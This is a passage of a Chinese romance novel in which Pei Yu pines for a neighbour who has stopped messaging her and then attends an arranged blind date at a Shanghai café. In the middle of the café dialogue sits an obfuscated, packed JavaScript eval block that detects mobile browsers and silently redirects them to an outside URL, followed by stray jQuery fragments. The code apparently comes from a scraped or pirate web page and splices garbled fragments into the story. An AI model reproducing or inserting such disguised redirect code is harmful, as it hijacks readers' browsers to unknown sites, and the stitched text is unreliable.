周三傍晚，裴雨下班早了一点。


    她把电脑合上时，窗外天色还亮着，阳光透过百叶窗的缝隙斜斜洒在办公室里，像是不小心洒落的温热牛奶，让人觉得天还早、什么都来得及。


    但她坐着没动，盯着手机屏幕发呆。


    她没有在等什么人主动发来消息，只是习惯性地打开聊天框，滑到那个她最近常点进的名字。


    ——宋行舟。


    头像变成了那个远景模糊的电厂厂房，灰蒙蒙的，不甚清晰。


    她点进去，聊天记录停留在三天前的一张照片。是他路过一家小饭馆拍下来的，菜单上有她喜欢的韭黄炒鸡蛋。


    他说：“你不是说一直没吃到这道菜，下次有空来这家试试？”


    她那时刚好在开会，回得有点晚，只有简简单单一句：“好啊。”


    之后，就没有了。


    三天。


    他像突然从她的生活里消失了一样。


    没有再发新的消息，也没有再提什么“下次吃饭”“下次见面”。


    裴雨开始还能说服自己：也许是他工作忙，也许电厂这几天排班紧，也许他没时间看手机。她不止一次听他说过“这个礼拜在换机组”“晚上还得留班”，她能理解那种一整晚都困在厂里、手里抓着对讲机随时要处理突发状况的疲惫。


    可日子一长，这种“理解”慢慢变了味。


    它开始生出细微的缝隙，一点点裂开，漏进了情绪里。


    她开始不安、烦躁，甚至有些小小的失落。


    那种感觉像是什么东西正在慢慢降温。她原本以为是火，至少还有光和热，可现在它像是冷掉的炉子，不再冒烟，也不再回应。


    她盯着手机屏幕发呆，想发条消息过去。


    “你最近很忙吗？”


    “不见了几天。”


    “你还好吗？”


    无数种说法在脑子里翻来覆去，可她一句都没发出去。


    说实话，她甚至想过找个理由——比如问他上次提过的饭馆地址，比如假装想借点工具修灯泡，比如干脆扯点别的闲话。但她最后一个字都没打出来。


    她不甘心。


    为什么是她主动开口？为什么这段“关系”刚有点苗头，她就又像上赶着贴过去一样？她没那么卑微，也没那么没底线。


    她是个挺骄傲的人。


    只是那点骄傲在喜欢的人面前，总是摇摇欲坠。


    她抱着手机窝在沙发角落，一直到天色暗下来，客厅的光一点点褪去，像慢慢熄灭的心情。


    那天晚上，裴雨做了个梦。


    梦里她又回到了刚搬来的第一天。


    她提着两袋超市的日用品站在宋行舟的门口，他低着头帮她把袋子接过来，侧脸的轮廓沉静温和。她在梦里居然开口问：“你是不是其实也住在这栋楼里？还是，你根本就住在我隔壁？”


    他笑了笑，不说话。


    然后她就惊醒了。


    醒来时天已经亮了。手机放在床头，屏幕暗着，她却不自觉地点开了微信。


    没有新消息。


    她放下手机，去厨房烧水，泡了杯黑咖啡，坐在小阳台上看着楼下晨跑的人，心里空落落的。


    咖啡喝了一半，手机响了一下。


    她以为是他，手指下意识一紧，猛地拿起来。


    是周昱阳发的。


    【ZYY】：你好，周六上午十点，云顶咖啡见？


    她盯着那条消息，愣了好几秒。


    她几乎都忘了这个人。


    之前通过好友后，他们只说了两三句话，对方礼貌有余、热情不足。没有搭话，没有闲聊，像是执行任务一样机械。


    现在倒是突然定下了见面时间。


    她本来想拒绝，但耳边仿佛响起了她妈那句“张姨好不容易争取来的机会”，还有那句“你要是再拧下去，过年回来别想吃饺子”。


    她回了一句：“好。”


    然后合上手机，心里像吞了口没调好味的咖啡，苦得发涩。


    接下来的两天，宋行舟依旧没什么消息。


    裴雨也彻底陷入一种难以言说的状态。她工作照做，早上照常上班、下午开会、晚上整理市场数据，可一整天好像总有一道目光黏在她背后，让她心神不宁。


    同事在群里说起最近哪个品牌的投放效果奇差，说文案写得跟十年前的传单一样老套，大家七嘴八舌都在笑。她却只敲了一个“哈哈”，就没了下文。


    午休时她也不怎么聊天，窝在工位上刷邮件，明明眼睛盯着屏幕，脑子却总是跳回那条聊天框。


    “你是不是以为我昨天只是说说而已。”


    他那天说这句话时眼睛是亮的，语气里还带了点笑意，像是调侃又像认真。


    可现在想起来——


    也许，还真只是说说而已。


    又或者，根本不是说给她听的。


    她忽然想，他是不是对每个新租户都这么好？是不是谁需要修水管、拎快递、做饭时顺手多带一份，他都会这样？


    她并不是特别需要确认关系的那种人，但这几天的失联像是一种提醒——他们之间，也许只是邻里关系而已。


    她低下头，把手机丢进包里。


    心里忽然冒出一句话：


    ——我真是，太蠢了。


    那晚临下班前，她去茶水间接水，走到门口时，办公室里正好响起某个同事的手机铃声。


    是那种老式的钢琴铃声，不吵，却特别容易吸引注意。


    她不自觉停了一下。


    不是因为铃声，而是因为心里那种“某人终于会回消息”的期待。


    可铃声不是她的。


    手机也不是宋行舟的。


    她苦笑了一下，接了水回去。


    回到工位时，电脑屏幕上的会议提醒正好弹出来——


    【周五下午14:00市场部月度总结会议】


    她合上屏幕，忽然意识到：


    明天就是周五了。


    再往后，就是她不得不赴约去见周昱阳的周六。


    她忽然希望，明天能忙得一点空都没有。


    忙到她没时间想别人，没时间对着那条空白的聊天框发呆。


    周六上午九点五十分，裴雨在咖啡馆门口站了两分钟。


    她穿了一件很普通的米色针织衫，下摆塞进高腰牛仔裤里，外面罩着浅驼色风衣。脚上是素面小皮鞋，鞋跟不高不低，刚刚好看起来得体又不算特别上心。


    她选这套衣服时花了点时间，但最终还是克制住了精致过头的打扮冲动，提醒自己：不是去约会，是相亲。


    是见个由长辈牵线搭桥、未必有未来的陌生男人。她不能穿得太随意，但也没必要精心到让自己像在面试一样局促。


    她提前到了，却并没有进店。


    这是一家连锁精品咖啡馆，装修走的是北欧简约风，白墙木桌，大落地窗将早春的阳光毫不吝啬地洒满了屋子。窗边已经坐了一些情侣，有的低头聊天，有的对着电脑翻日程。她站在外面时就已经看见了好几个带花的纸袋和礼盒，被放在座位边上或桌角，像是例行程序里的道具。


    九点五十二分，一个身影朝她走过来。


    “裴小姐？”


    她抬头。


    眼前这人，比照片里看起来好看不少——干净的五官，西装剪裁得体，短发修得利落，身高看着起码一米八，整体气质成熟稳重。


    “你好，我是周昱阳。”


    他微笑着伸出手。


    她也礼貌地点头，伸手和他握了下。


    “你好。”


    两人相对走进咖啡馆，坐到了靠窗的一张双人桌边。座位之间隔着一株长得极好的绿植，隐约有种“私密但不逼仄”的距离感。


    点单时，周昱阳问：“你喝美式还是拿铁？”


    裴雨抿了下唇，说：“拿铁吧。”


    “甜点呢？”


    “不要了，谢谢。”


    他笑笑没再多问，又点了一杯黑咖和一份布朗尼。


    “我早餐没吃。”他说，“抱歉，不太讲究。”


    “没事。”她微微一笑。


    对话在开始时是客气的，有种熟练的分寸感，就像两位初次会面的商务人士，只不过地点不是会议室，而是咖啡馆。


    等咖啡端上来之后，两人才慢慢进入主题。


    “你是做市场相关的？”


    “嗯，外企市场部，偏品牌这块。”


    “那会不会经常加班？”


    “看项目吧，月初和月底一般比较忙。平时还能接受。”


    周昱阳点点头，“我在投行，可能节奏更快一些。”


    “能想象。”


    “你是兰州人吧？”


    “对。”裴雨笑笑，“我妈说你也是。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773519|173386||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “是，不过我来上海比较久了。大学、研究生都在这边，毕业后留了下来，现在算是稳定定居。”


    “那挺好。”


    “你也准备留在上海？”


    “……应该是。”她顿了顿，“虽然我妈还在希望我回去，但我暂时没有打算。”


    “她不喜欢你一个人在这边？”


    “她不喜欢我‘还没结婚’。”裴雨耸耸肩，语气不咸不淡，“你大概能理解。”


    周昱阳轻笑了一声：“能。我们这一代人可能都逃不过这一关。”


    这时候的对话是顺畅的。


    两个人都不拧巴，知道该聊什么、怎么聊，什么能问、什么不能问，像是在一本厚重的《相亲交流指南》里熟练翻页。


    “你是独生子女？”他问。


    “不是，我有个姐姐，已婚。”


    “那你压力应该小一点。”


    “是吗？”裴雨笑得有点意味深长，“她结婚生孩子之后，家里所有对‘下一位’的期待就自动转移了。”


    “我懂。”


    “你是独生？”


    “对。”


    “那你爸妈……会希望你留在上海吗？”


    “其实还好。工作第一吧，婚姻他们也不会太干预。”


    “听起来不错。”


    短暂的沉默后，周昱阳又问：“那你现在的公司，打算长期待下去？”


    “还没定。”她指尖绕着咖啡杯，“我在想要不要换去更偏策略方向的岗位。品牌虽然稳定，但平台受限。”


    “你是那种对职业规划很有要求的人？”


    “算是吧，我不太能接受没有进展的状态。”


    “难怪你状态很好。”他说，“其实我这次见你，有点超出预期。”


    “嗯？”


    “我原本以为相亲是件挺沉闷的事，没想到你比我想象中坦率很多。”


    “可能是因为我们都太习惯这一套流程了。”


    “你不喜欢？”


    “不是不喜欢。”她说，“只是……我不确定这是不是我想要的方式。”


    周昱阳没急着接话，低头喝了一口咖啡，才又抬眼看她。


    “那你想要的方式是什么？”


    裴雨一愣。


    她不知道该怎么回答。


    她想说她想要的是那种不靠长辈牵线，不靠职业和户籍匹配度来衡量是否合适的感情。哪怕一开始是偶然，是不按常理出牌的混乱，可只要对方看她一眼，她就知道自己可以动心。


    但她什么都没说。


    只是轻轻地笑了笑：“我现在也说不清。”


    那一刻，阳光透过窗户洒在她侧脸上，咖啡杯里还有淡淡热气，整个人看起来安静得几乎不像来相亲的，而像是路过此地、偶尔停下来喘口气的旅人。


    接下来，聊天内容又转回现实。


    关于薪酬范围——裴雨并没有细讲，只是模糊说了个区间；周昱阳也很职业地报了个数字，并不让人反感，但也称不上谦逊。


    关于房子——周昱阳买在徐汇边缘，贷款已还了一半，准备两年内结清。没明说等的是结婚后两人一起承担，但潜台词也不难猜。


    关于父母——双方健康、通情达理、希望儿女安定，但不会过多干涉。


    一切都在“合适”的范围内，没有雷区，没有情绪，没有意外。


    她一边听，一边点头回应，但心里却像被玻璃罩罩住，隔着一层声音、空气、温度，听得见，看得见，却始终参与不进去。


    她忽然意识到一件事：


    周昱阳是个几乎“完美”的相亲对象。他有稳定职业、清晰规划、家境尚可，甚至连沟通能力都很好。


    可她并不高兴。


    她没有心跳加速，也没有想去深入了解他的冲动。


    就像此刻手边的那杯拿铁——温度合适，比例标准，味道无功无过。


    但没有灵魂。


    这场见面仍在继续。


    她嘴角带笑，语气不冷不热，像每一个职业女性在商务谈判时那样冷静自持。


    但她心里很清楚——


    她现在做的，只是完成一个“程序”。


    她妈要她“务必认真对待、必须见一面”。


    她正在见，一板一眼，很配合地见着。


    而她心里最真实的那个部分，正安安静静地往后缩着，像躲在某扇不肯开启的门后。